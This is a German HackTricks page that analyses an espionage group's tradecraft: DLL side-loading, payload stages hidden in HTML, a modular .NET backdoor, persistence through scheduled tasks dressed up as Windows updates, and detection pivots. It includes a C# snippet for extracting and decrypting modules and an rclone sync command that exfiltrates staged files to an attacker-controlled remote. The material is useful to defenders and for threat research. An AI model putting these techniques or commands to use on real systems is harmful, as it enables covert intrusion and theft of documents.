Advanced DLL Side-Loading With HTML-Embedded Payload Staging
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Tradecraft Overview
Ashen Lepus (aka WIRTE) setzte ein wiederholbares Muster ein, das DLL sideloading, staged HTML payloads und modulare .NET backdoors verknüpft, um in diplomatischen Netzwerken des Nahen Ostens persistent zu bleiben. Die Technik ist für jeden Operator wiederverwendbar, da sie auf Folgendem beruht:
- Archive-based social engineering: harmlose PDFs fordern die Ziele auf, ein RAR-Archiv von einer File-Sharing-Site herunterzuladen. Das Archiv bündelt einen echt aussehenden Document viewer EXE, eine bösartige DLL, die nach einer vertrauenswürdigen Bibliothek benannt ist (z. B.
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll), und eine decoyDocument.pdf. - DLL search order abuse: das Opfer doppelklickt die EXE, Windows löst die DLL-Importe aus dem aktuellen Verzeichnis auf, und der bösartige Loader (AshenLoader) führt sich im vertrauenswürdigen Prozess aus, während die decoy PDF geöffnet wird, um Verdacht zu vermeiden.
- Living-off-the-land staging: jede spätere Stage (AshenStager → AshenOrchestrator → modules) verbleibt solange wie möglich nicht auf der Festplatte, sondern wird bei Bedarf als verschlüsselte Blobs geliefert, die in ansonsten harmlosen HTML-Antworten versteckt sind.
Multi-Stage Side-Loading Chain
- Decoy EXE → AshenLoader: Die EXE side-loads AshenLoader, der host recon durchführt, diesen mit AES-CTR verschlüsselt und per POST in rotierenden Parametern wie
token=,id=,q=oderauth=an API-artige Pfade (z. B./api/v2/account) sendet. - HTML extraction: Der C2 verrät die nächste Stage nur, wenn die Client-IP in die Zielregion geolokalisiert wird und der
User-Agentzum Implant passt, was Sandboxes frustriert. Wenn die Prüfungen bestehen, enthält der HTTP-Body einen<headerp>...</headerp>-Blob mit dem Base64/AES-CTR-verschlüsselten AshenStager-Payload. - Second sideload: AshenStager wird zusammen mit einer weiteren legitimen Binary bereitgestellt, die
wtsapi32.dllimportiert. Die in die Binary injizierte bösartige Kopie holt weiteres HTML, dieses Mal wird<article>...</article>ausgeschnitten, um AshenOrchestrator wiederherzustellen. - AshenOrchestrator: ein modularer .NET-Controller, der eine Base64-kodierte JSON-Konfiguration decodiert. Die Config-Felder
tgundauwerden konkateniert/gehasht, um den AES-Key zu bilden, mit demxrkentschlüsselt wird. Die resultierenden Bytes dienen anschließend als XOR-Schlüssel für jedes nachgeladene Modul-Blob. - Module delivery: Jedes Modul wird über HTML-Kommentare beschrieben, die den Parser zu einem beliebigen Tag umlenken und statische Regeln umgehen, die nur nach
<headerp>oder<article>suchen. Module umfassen persistence (PR*), uninstallers (UN*), reconnaissance (SN), screen capture (SCT) und file exploration (FE).
HTML Container Parsing Pattern
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Selbst wenn Verteidiger ein bestimmtes Element blockieren oder entfernen, muss der Operator nur das im HTML-Kommentar angezeigte Tag ändern, um die Auslieferung wiederaufzunehmen.
Krypto- & C2-Härtung
- AES-CTR everywhere: aktuelle Loader betten 256-Bit-Schlüssel plus Nonces ein (z. B.
{9a 20 51 98 ...}) und fügen optional eine XOR-Schicht mit Strings wiemsasn1.dllvor/nach der Entschlüsselung hinzu. - Recon smuggling: aufgelistete Daten enthalten jetzt Program Files-Verzeichnisse, um besonders wertvolle Apps zu identifizieren, und werden immer verschlüsselt, bevor sie den Host verlassen.
- URI churn: Abfrageparameter und REST-Pfade wechseln zwischen Kampagnen (
/api/v1/account?token=→/api/v2/account?auth=), wodurch fragile Erkennungen ungültig werden. - Gated delivery: Server sind geografisch eingeschränkt (geo-fenced) und antworten nur echten Implants. Nicht zugelassene Clients erhalten unauffälliges HTML.
Persistenz & Ausführungsschleife
AshenStager legt geplante Aufgaben ab, die sich als Windows‑Wartungsjobs tarnen und über svchost.exe ausgeführt werden, z. B.:
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
Diese Aufgaben starten die sideloading chain beim Booten oder in Intervallen neu und stellen so sicher, dass AshenOrchestrator frische Module anfordern kann, ohne erneut die Festplatte zu verwenden.
Verwendung legitimer Sync-Clients für Exfiltration
Operatoren legen diplomatische Dokumente in C:\Users\Public ab (weltweit lesbar und unverdächtig) über ein dediziertes Modul und laden dann das legitime Rclone Binary herunter, um dieses Verzeichnis mit vom Angreifer kontrolliertem Speicher zu synchronisieren:
- Stage: Ziel-Dateien in
C:\Users\Public\{campaign}\kopieren/sammeln. - Configure: Eine Rclone-Konfiguration liefern, die auf einen vom Angreifer kontrollierten HTTPS-Endpunkt zeigt (z. B.
api.technology-system[.]com). - Sync:
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quietausführen, damit der Verkehr normalen Cloud-Backups ähnelt.
Da Rclone weit verbreitet für legitime Backup-Workflows genutzt wird, müssen Verteidiger auf anomale Ausführungen achten (neue Binaries, ungewöhnliche Remotes oder plötzliches Synchronisieren von C:\Users\Public).
Erkennungs-Pivots
- Alarmieren bei signierten Prozessen, die unerwartet DLLs aus benutzerschreibbaren Pfaden laden (Procmon-Filter +
Get-ProcessMitigation -Module), besonders wenn die DLL-Namen mitnetutils,srvcli,dwampioderwtsapi32übereinstimmen. - Verdächtige HTTPS-Antworten auf große Base64-Blobs, die in ungewöhnlichen Tags eingebettet sind, oder durch
<!-- TAG: <xyz> -->-Kommentare geschützt, untersuchen. - Nach geplanten Aufgaben suchen, die
svchost.exemit Nicht-Service-Argumenten ausführen oder auf dropper directories zurückzeigen. - Auf Rclone-Binaries achten, die außerhalb von IT-verwalteten Orten auftauchen, neue
rclone.conf-Dateien oder Sync-Jobs, die von Staging-Verzeichnissen wieC:\Users\Publicziehen.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

